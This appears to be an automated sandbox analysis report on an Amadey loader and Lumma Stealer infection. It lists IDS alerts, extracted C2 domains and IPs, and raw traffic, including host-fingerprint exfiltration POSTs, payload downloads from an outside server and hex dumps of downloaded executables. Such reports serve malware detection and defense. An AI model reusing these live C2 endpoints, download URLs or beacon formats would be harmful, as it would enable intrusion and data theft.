Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49862 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49871
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:52014 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:54533 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49888 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49895 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49907 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49919 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49940 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49959 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49980 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49961
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49985 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49971 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49895 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49895 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49959 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49919 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49919 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49913 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49913 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49929 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49929 -> 104.21.23.76:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 10:09:11 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 10:09:18 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 10:09:24 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 10:09:45 GMTContent-Type: application/octet-streamContent-Length: 1986048Last-Modified: Wed, 18 Dec 2024 08:56:38 GMTConnection: keep-aliveETag: "67628e46-1e4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 b0 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 78 e8 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 72 71 63 6d 62 66 6b 00 d0 19 00 00 d0 31 00 00 d0 19 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 78 6f 68 7a 75 74 00 10 00 00 00 a0 4b 00 00 04 00 00 00 28 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 2c 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016868001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016869001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016870001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016871001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.23.76 104.21.23.76

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49877 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49895 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49894 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49912 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49913 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49919 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49929 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49966 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49959 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49980 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50000 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49971 -> 104.21.23.76:443

